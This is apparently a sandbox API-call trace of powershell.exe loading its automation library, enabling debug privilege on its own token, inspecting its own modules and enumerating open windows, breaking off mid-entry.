EtwEventRegister () returned 0x0 [0176.925] EtwEventWriteTransfer () returned 0x0 [0176.933] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabc778 | out: phkResult=0x5bfdabc778*=0x0) returned 0x2 [0176.935] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0176.948] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0176.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0176.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0176.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd7b0) returned 1 [0176.959] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd890 | out: lpFileInformation=0x5bfdabd890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0176.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd770) returned 1 [0176.961] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x5bfdabd968 | out: lpdwHandle=0x5bfdabd968) returned 0x94c [0176.964] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1ef0000b728 | out: lpData=0x1ef0000b728) returned 1 [0176.966] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfdabd8e8, puLen=0x5bfdabd8e0 | out: lplpBuffer=0x5bfdabd8e8*=0x1ef0000b7c4, puLen=0x5bfdabd8e0) returned 1 [0176.979] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b8a0, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b8f4, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b950, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b990, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b9f8, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000ba94, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000baf8, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000bb74, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b81c, puLen=0x5bfdabd880) returned 1 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x0, puLen=0x5bfdabd880) returned 0 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x0, puLen=0x5bfdabd880) returned 0 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x0, puLen=0x5bfdabd880) returned 0 [0176.980] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfdabd838, puLen=0x5bfdabd830 | out: lplpBuffer=0x5bfdabd838*=0x1ef0000b7c4, puLen=0x5bfdabd830) returned 1 [0176.981] VerLanguageNameW (in: wLang=0x0, szLang=0x5bfdabd560, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0177.027] VerQueryValueW (in: pBlock=0x1ef0000b728, lpSubBlock="\\", lplpBuffer=0x5bfdabd888, puLen=0x5bfdabd880 | out: lplpBuffer=0x5bfdabd888*=0x1ef0000b750, puLen=0x5bfdabd880) returned 1 [0177.029] GetCurrentProcessId () returned 0x1328 [0177.043] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5bfdabc8f0 | out: lpLuid=0x5bfdabc8f0*(LowPart=0x14, HighPart=0)) returned 1 [0177.044] GetCurrentProcess () returned 0xffffffffffffffff [0177.045] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x5bfdabc8e8 | out: TokenHandle=0x5bfdabc8e8*=0x308) returned 1 [0177.045] AdjustTokenPrivileges (in: TokenHandle=0x308, DisableAllPrivileges=0, NewState=0x1ef0000fda0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0177.046] CloseHandle (hObject=0x308) returned 1 [0177.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1328) returned 0x308 [0177.097] EnumProcessModules (in: hProcess=0x308, lphModule=0x1ef0000fe08, cb=0x200, lpcbNeeded=0x5bfdabd890 | out: lphModule=0x1ef0000fe08, lpcbNeeded=0x5bfdabd890) returned 1 [0177.098] GetModuleInformation (in: hProcess=0x308, hModule=0x7ff7e4740000, lpmodinfo=0x1ef00011bd0, cb=0x18 | out: lpmodinfo=0x1ef00011bd0*(lpBaseOfDll=0x7ff7e4740000, SizeOfImage=0x70000, EntryPoint=0x7ff7e4742ee0)) returned 1 [0177.099] CoTaskMemAlloc (cb=0x804) returned 0x1ef6e3e23b0 [0177.099] GetModuleBaseNameW (in: hProcess=0x308, hModule=0x7ff7e4740000, lpBaseName=0x1ef6e3e23b0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0177.100] CoTaskMemFree (pv=0x1ef6e3e23b0) [0177.100] CoTaskMemAlloc (cb=0x804) returned 0x1ef6e3e23b0 [0177.100] GetModuleFileNameExW (in: hProcess=0x308, hModule=0x7ff7e4740000, lpFilename=0x1ef6e3e23b0, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0177.101] CoTaskMemFree (pv=0x1ef6e3e23b0) [0177.101] CloseHandle (hObject=0x308) returned 1 [0177.112] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1328) returned 0x308 [0177.112] GetExitCodeProcess (in: hProcess=0x308, lpExitCode=0x1ef0000ef5c | out: lpExitCode=0x1ef0000ef5c*=0x103) returned 1 [0177.118] EnumWindows (lpEnumFunc=0x1ef7036468c, lParam=0x0) returned 1 [0177.119] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa98 [0177.119] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.119] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100d8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100ce, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100bc, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100b4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100a0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x200f8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.120] GetWindowThreadProcessId (in: hWnd=0x100e8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.121] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.121] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.121] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc80 [0177.121] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.121] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.121] GetWindowThreadProcessId (in: hWnd=0x2036a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x131c [0177.121] GetWindowThreadProcessId (in: hWnd=0x102f4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf44 [0177.122] GetWindowThreadProcessId (in: hWnd=0x6003e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xafc [0177.122] GetWindowThreadProcessId (in: hWnd=0x202ec, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xeb8 [0177.122] GetWindowThreadProcessId (in: hWnd=0x102e8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbfc [0177.122] GetWindowThreadProcessId (in: hWnd=0x202e2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x3e8 [0177.122] GetWindowThreadProcessId (in: hWnd=0x202e0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x5c4 [0177.122] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x574 [0177.122] GetWindowThreadProcessId (in: hWnd=0x202d8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa6c [0177.122] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x77c [0177.123] GetWindowThreadProcessId (in: hWnd=0x102d0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x760 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf78 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102c8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc50 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102c4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfcc [0177.123] GetWindowThreadProcessId (in: hWnd=0x102c0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf94 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102bc, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xef4 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102b8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf74 [0177.123] GetWindowThreadProcessId (in: hWnd=0x102b4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xedc [0177.124] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf24 [0177.124] GetWindowThreadProcessId (in: hWnd=0x102ac, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xdc8 [0177.124] GetWindowThreadProcessId (in: hWnd=0x202a8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf10 [0177.124] GetWindowThreadProcessId (in: hWnd=0x202a2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf08 [0177.124] GetWindowThreadProcessId (in: hWnd=0x2029e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xea0 [0177.124] GetWindowThreadProcessId (in: hWnd=0x1029c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xeb4 [0177.124] GetWindowThreadProcessId (in: hWnd=0x20298, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xea4 [0177.125] GetWindowThreadProcessId (in: hWnd=0x20294, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x1a8 [0177.125] GetWindowThreadProcessId (in: hWnd=0x10290, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x8f0 [0177.125] GetWindowThreadProcessId (in: hWnd=0x1028c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xcb8 [0177.125] GetWindowThreadProcessId (in: hWnd=0x10288, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x840 [0177.125] GetWindowThreadProcessId (in: hWnd=0x10284, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c8 [0177.125] GetWindowThreadProcessId (in: hWnd=0x30280, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x6b0 [0177.125] GetWindowThreadProcessId (in: hWnd=0x3027c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xe0c [0177.125] GetWindowThreadProcessId (in: hWnd=0x30276, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x43c [0177.126] GetWindowThreadProcessId (in: hWnd=0x50258, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x314 [0177.126] GetWindowThreadProcessId (in: hWnd=0x50266, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x24c [0177.126] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x1a0 [0177.126] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xe24 [0177.126] GetWindowThreadProcessId (in: hWnd=0x2025a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc9c [0177.126] GetWindowThreadProcessId (in: hWnd=0x4024c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x620 [0177.126] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7b8 [0177.126] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa28 [0177.127] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x774 [0177.127] GetWindowThreadProcessId (in: hWnd=0x3023c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbe0 [0177.129] GetWindowThreadProcessId (in: hWnd=0x3023a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xb00 [0177.129] GetWindowThreadProcessId (in: hWnd=0x20236, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xde4 [0177.129] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xce0 [0177.129] GetWindowThreadProcessId (in: hWnd=0x301ee, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbd8 [0177.129] GetWindowThreadProcessId (in: hWnd=0x5006c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x29c [0177.129] GetWindowThreadProcessId (in: hWnd=0x30084, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xda0 [0177.129] GetWindowThreadProcessId (in: hWnd=0x30086, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd20 [0177.130] GetWindowThreadProcessId (in: hWnd=0x3005a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd98 [0177.130] GetWindowThreadProcessId (in: hWnd=0x20058, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd88 [0177.130] GetWindowThreadProcessId (in: hWnd=0x2006e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd84 [0177.130] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd6c [0177.130] GetWindowThreadProcessId (in: hWnd=0x30056, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd1c [0177.130] GetWindowThreadProcessId (in: hWnd=0x8005e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x764 [0177.130] GetWindowThreadProcessId (in: hWnd=0x30190, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd4c [0177.131] GetWindowThreadProcessId (in: hWnd=0x701be, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd38 [0177.131] GetWindowThreadProcessId (in: hWnd=0x50064, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x35c [0177.131] GetWindowThreadProcessId (in: hWnd=0x70072, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x52c [0177.131] GetWindowThreadProcessId (in: hWnd=0x40168, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x360 [0177.131] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x4e4 [0177.131] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xb04 [0177.131] GetWindowThreadProcessId (in: hWnd=0x30114, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xffc [0177.132] GetWindowThreadProcessId (in: hWnd=0x30092, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfe8 [0177.132] GetWindowThreadProcessId (in: hWnd=0x30090, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfd4 [0177.132] GetWindowThreadProcessId (in: hWnd=0x30124, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfc0 [0177.132] GetWindowThreadProcessId (in: hWnd=0x40134, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfa4 [0177.132] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc80 [0177.132] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc80 [0177.132] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc7c [0177.132] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc7c [0177.133] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc80 [0177.133] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc34 [0177.133] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.133] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc34 [0177.133] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.133] GetWindowThreadProcessId (in: hWnd=0x501ba, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.212] GetWindowThreadProcessId (in: hWnd=0x20326, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.212] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.212] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.212] GetWindowThreadProcessId (in: hWnd=0x200a6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x9f4 [0177.213] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.213] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.213] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.213] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.213] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.213] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x654 [0177.213] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.213] GetWindowThreadProcessId (in: hWnd=0x100ea, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.214] GetWindowThreadProcessId (in: hWnd=0x2007a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc7c [0177.214] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.214] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x640 [0177.214] GetWindowThreadProcessId (in: hWnd=0x2003c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7f4 [0177.214] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.214] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.214] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x5bfdabd6b0 | 